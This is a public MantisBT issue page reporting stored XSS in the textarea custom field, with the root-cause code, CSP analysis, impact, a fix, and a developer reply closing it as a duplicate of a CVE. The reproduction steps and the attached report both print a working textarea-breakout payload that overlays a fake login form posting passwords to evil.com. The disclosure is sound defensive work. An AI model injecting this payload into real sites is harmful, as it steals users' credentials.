View Issue Details

IDProjectCategoryView StatusLast Update
0037094mantisbtsecuritypublic2026-05-10 07:59
ReporterTristanInSec Assigned Todregad  
PrioritynormalSeveritymajorReproducibilityalways
Status closedResolutionduplicate 
Summary0037094: Stored XSS via Textarea Custom Field
Description

MantisBT's textarea custom field input function echoes user-supplied values without HTML encoding, allowing </textarea> breakout and arbitrary HTML injection. Default CSP blocks JavaScript execution, but CSS injection and HTML phishing remain exploitable.

Vulnerability Details

  • CWE: CWE-79 (Improper Neutralization of Input During Web Page Generation)
  • CVSS 3.1: 4.6 (Medium) with default CSP; 6.4 without CSP
    • AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
  • Affected Version: MantisBT 2.29.0-dev (and likely all versions with custom fields)
  • Auth Required: Any authenticated user who can set custom field values (default: REPORTER, access level 25)

Root Cause

cfdef_input_textarea() in core/cfdefs/cfdef_standard.php:498:

echo ' cols="70" rows="8">', $p_custom_field_value, '</textarea>';

$p_custom_field_value is echoed raw into the <textarea> element without htmlspecialchars() or any other encoding.

The value comes from custom_field_get_value() via print_custom_field_input() (custom_field_api.php:1618-1639) — which returns the raw database value with no escaping.

Inconsistency Proof

Every OTHER textarea in MantisBT uses string_textarea() (htmlspecialchars()):

File Line Code
tag_update_page.php 133 string_textarea( $t_description )
bug_report_page.php 589 string_textarea( $f_description )
manage_custom_field_edit_page.php 153 string_textarea( $t_definition['default_value'] )

The custom field textarea is the sole omission.

CSP Mitigation

MantisBT sets Content-Security-Policy: script-src 'self' (no 'unsafe-inline'):

// core/http_api.php:219
http_csp_add( 'script-src', "'self'" );

This blocks:

  • Inline <script> tags
  • Event handlers (onerror, onfocus, onmouseover)

However, style-src 'unsafe-inline' IS permitted, enabling:

  • CSS injection for data exfiltration
  • Full-page HTML phishing overlays

Impact

With default CSP:

  • HTML injection and CSS-based phishing (credential harvesting)
  • UI redressing (hiding legitimate content, showing fake forms)
  • CSS-based data exfiltration (attribute selectors leaking CSRF tokens)

Without CSP (older browsers, CSP header stripped by proxy, or admin-disabled):

  • Full stored XSS: session hijacking, admin account takeover
Steps To Reproduce

Payload (textarea breakout + phishing overlay)

</textarea><style>body{visibility:hidden}</style><div style="visibility:visible;position:fixed;top:0;left:0;width:100%;height:100%;background:white;z-index:9999"><h1>Session Expired</h1><form action="https://evil.com/steal"><label>Password:</label><input name="pass" type="password"><button>Login</button></form></div><!--

Steps to Reproduce

  1. As admin, create a custom field of type "textarea" and attach it to a project
  2. As REPORTER, create/edit a bug and set the textarea custom field to the payload above
  3. When any user (including admin) opens the bug edit page (bug_update_page.php), the textarea breakout renders the phishing overlay

Attack Flow

REPORTER sets textarea value → stored in DB raw →
admin opens bug_update_page.php → cfdef_input_textarea() echoes raw →
</textarea> breaks out of textarea → injected HTML renders →
phishing overlay covers the page
Additional Information

Fix

In cfdef_input_textarea() at core/cfdefs/cfdef_standard.php:498, apply string_textarea():

// Before (vulnerable):
echo ' cols="70" rows="8">', $p_custom_field_value, '</textarea>';

// After (fixed):
echo ' cols="70" rows="8">', string_textarea( $p_custom_field_value ), '</textarea>';
TagsNo tags attached.
Attached Files
vuln-3-stored-xss-textarea-custom-field.md (3,804 bytes)   
# Stored XSS via Textarea Custom Field (CSP-Mitigated)

**Validation: Code trace** (TODO — manual review required, lint-added 2026-04-16)

## Summary

MantisBT's textarea custom field input function echoes user-supplied values without HTML encoding, allowing `</textarea>` breakout and arbitrary HTML injection. Default CSP blocks JavaScript execution, but CSS injection and HTML phishing remain exploitable.

## Vulnerability Details

- **CWE**: CWE-79 (Improper Neutralization of Input During Web Page Generation)
- **CVSS 3.1**: 4.6 (Medium) with default CSP; 6.4 without CSP
  - `AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N`
- **Affected Version**: MantisBT 2.29.0-dev (and likely all versions with custom fields)
- **Auth Required**: Any authenticated user who can set custom field values (default: REPORTER, access level 25)

## Root Cause

`cfdef_input_textarea()` in `core/cfdefs/cfdef_standard.php:498`:

```php
echo ' cols="70" rows="8">', $p_custom_field_value, '</textarea>';
```

`$p_custom_field_value` is echoed **raw** into the `<textarea>` element without `htmlspecialchars()` or any other encoding.

The value comes from `custom_field_get_value()` via `print_custom_field_input()` (custom_field_api.php:1618-1639) — which returns the raw database value with no escaping.

## Inconsistency Proof

Every OTHER textarea in MantisBT uses `string_textarea()` (`htmlspecialchars()`):

| File | Line | Code |
|------|------|------|
| tag_update_page.php | 133 | `string_textarea( $t_description )` |
| bug_report_page.php | 589 | `string_textarea( $f_description )` |
| manage_custom_field_edit_page.php | 153 | `string_textarea( $t_definition['default_value'] )` |

The custom field textarea is the **sole omission**.

## CSP Mitigation

MantisBT sets `Content-Security-Policy: script-src 'self'` (no `'unsafe-inline'`):

```php
// core/http_api.php:219
http_csp_add( 'script-src', "'self'" );
```

This blocks:
- Inline `<script>` tags
- Event handlers (`onerror`, `onfocus`, `onmouseover`)

However, `style-src 'unsafe-inline'` IS permitted, enabling:
- CSS injection for data exfiltration
- Full-page HTML phishing overlays

## Impact

With default CSP:
- HTML injection and CSS-based phishing (credential harvesting)
- UI redressing (hiding legitimate content, showing fake forms)
- CSS-based data exfiltration (attribute selectors leaking CSRF tokens)

Without CSP (older browsers, CSP header stripped by proxy, or admin-disabled):
- Full stored XSS: session hijacking, admin account takeover

## Proof of Concept

### Payload (textarea breakout + phishing overlay)
```
</textarea><style>body{visibility:hidden}</style><div style="visibility:visible;position:fixed;top:0;left:0;width:100%;height:100%;background:white;z-index:9999"><h1>Session Expired</h1><form action="https://evil.com/steal"><label>Password:</label><input name="pass" type="password"><button>Login</button></form></div><!--
```

### Steps to Reproduce

1. As admin, create a custom field of type "textarea" and attach it to a project
2. As REPORTER, create/edit a bug and set the textarea custom field to the payload above
3. When any user (including admin) opens the bug edit page (`bug_update_page.php`), the textarea breakout renders the phishing overlay

### Attack Flow
```
REPORTER sets textarea value → stored in DB raw →
admin opens bug_update_page.php → cfdef_input_textarea() echoes raw →
</textarea> breaks out of textarea → injected HTML renders →
phishing overlay covers the page
```

## Fix

In `cfdef_input_textarea()` at `core/cfdefs/cfdef_standard.php:498`, apply `string_textarea()`:

```php
// Before (vulnerable):
echo ' cols="70" rows="8">', $p_custom_field_value, '</textarea>';

// After (fixed):
echo ' cols="70" rows="8">', string_textarea( $p_custom_field_value ), '</textarea>';
```

Relationships

duplicate of 0037003 closeddregad CVE-2026-39960: Stored XSS in Custom Field Textarea Values 

Activities

dregad

dregad

2026-04-19 05:31

developer   ~0071028

This Issue has already been reported to us on 2026-04-02 by another security researcher, see 0037003. CVE-2026-39960 has been assigned via Advisory https://github.com/mantisbt/mantisbt/security/advisories/GHSA-qj6w-v29q-4rgx. A fix is ready and pending release of MantisBT 2.28.2, planned in the next few days.